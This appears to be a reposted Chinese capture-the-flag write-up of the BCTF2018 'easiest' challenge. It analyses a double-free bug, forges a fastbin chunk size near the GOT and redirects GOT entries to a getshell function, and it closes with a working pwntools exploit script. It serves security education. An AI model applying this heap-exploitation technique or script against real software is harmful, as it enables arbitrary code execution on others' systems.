1. 程式人生 > >【Pwn】BCTF2018 easiest - fastbin attack 的size偽造

【Pwn】BCTF2018 easiest - fastbin attack 的size偽造

本文永久連結:https://thinkycx.me/posts/2018-12-01-BCTF2018-easiest.html
相關檔案和exploit下載地址:https://github.com/thinkycx/pwn/tree/master/BCTF2018/easiest

0x01 題目資訊

程式提供了兩個功能:add和delete。

  • add功能:允許建立11個chunk,scanf輸入number和size,儲存&malloc到bss,並且read 長度為size的content到chunk中。
  • delete功能:輸入chunk number 0-11,free儲存在bss上的指標後退出。指標沒有置null!
  • 程式還提供了沒有被呼叫的getshell函式。

image-20181130194450704

image-20181130194539638

image-20181201011528512

由於指標沒有置null,存在double free漏洞。利用思路:fastbin attack劫持got到getshell函式。

0x02 fastbin attack

fastbin的double free流程很簡單:

  1. 建立chunk1 chunk2
  2. free 1 free2 free1 形成圈環
  3. malloc獲得chunk1,修改fd指向fake_fastbin_chunk(size的idx需一致),malloc兩次獲取chunk2 chunk1
  4. 此時fastbinxY[idx]中即是fake_fastbin_chunk,繼續malloc獲得指標:fake_fastbin_chunk+0x10,實現arbitray write!

fastbin attack實現arbitray write的條件在於double free形成圈環和尋找到一個idx相同的size。後者比較困難。展開闡述一下。

除錯時,發現fastbin attack的size是32位的。因此,需要在寫地址的附近找到一個32位的size,就可以偽造fake_fastbin_chunk = &size-8。(截圖僅供參考,這裡chunk size是0x81,所以idx為6,後續利用時,chunk size是0x41,idx為2)image-20181130214034367

具體到這題看一下,嘗試劫持GOT,在GOT中尋找可用的size,0x20-0x87的4byte size都可以用。同時為了不影響程式的正常執行流程,不能修改劫持GOT之前會用到的函式。在fastbin attack(add中的malloc函式執行完)後,會呼叫的函式是add中malloc後的puts,返回while迴圈後get_content中的fread和getchoice中的strtol,add中的printf,scanf,malloc….通過下面對size的分析,attack後最早可以在strtol呼叫時,就getshell。

  • .dynamic處 0x602002的size為0x60,attack後從0x60200a處開始寫,會修改link_map和dlresolve的地址,system函式還沒有動態解析,肯定不能用這裡。
  • 0x602032處後續是setbuf和system,attack後從0x60203a開始寫,這裡可以用,但是需要恢復system GOT為[email protected]+6,方便後續動態解析system地址並呼叫
  • 0x602042處後續是alarm,__libc_start_main,strtol,malloc,這裡也可以用。

image-20181130214453553

image-20181130214627975

[email protected]的exploit,fastbin的chunk利用了0x0000007f,該地址依賴於alarm在libc中的低地址是\x00,因此可以構造fake的4byte size(低位0xf在chunk SIZE中是標記位,chunksize返回時回清空)。

image-20181201000139079

0x03 exploit

def pwn(io):
    # if local&debug: gdb.attach(io,'break *0x400d1b\n directory /root/Pwn/glibc/glibc-2.23/malloc/')

    size = 0x38
    add(0, size, "thinkycx" )
    add(1, size, "thinkycx" )
    add(2, size, "thinkycx")

    delete(0)
    delete(1)
    delete(0)
    log.info("fastbin circle has finished!")

    write_addr = 0x602030 + 2 -0x8 # bypass fastbin size check
    # write_addr = 0x602040 + 2 -0x8 # bypass fastbin size check
    # if local&debug: gdb.attach(io,'break *0x400d1b\n directory /root/Pwn/glibc/glibc-2.23/malloc/')
    add(3, size, p64(write_addr) )
    add(4, size, "thinkycx")
    add(5, size, "thinkycx" ) # next fasbins will be write_addr

    getshell = 0x400946
    # if write_addr is 0x602030 + 2 - 0x8
    # payload = "\x00"*6 + p64(elf.plt['system']+6) + p64(elf.plt['printf']) + p64(getshell)*4
    payload = "\x00"*6 + p64(elf.plt['system']+6) +  p64(getshell)*4

    # if write_addr is 0x602040 + 2 - 0x8
    # payload = "\x00"*6 + p64(getshell)*3 # strtol
    # if local&debug: gdb.attach(io,'break *0x400d1b\n directory /root/Pwn/glibc/glibc-2.23/malloc/')
    add(7, size, payload) # when comes to getchoice() strol(), call getshell, [email protected]+6
    # add(8, 0x100, "getshell!")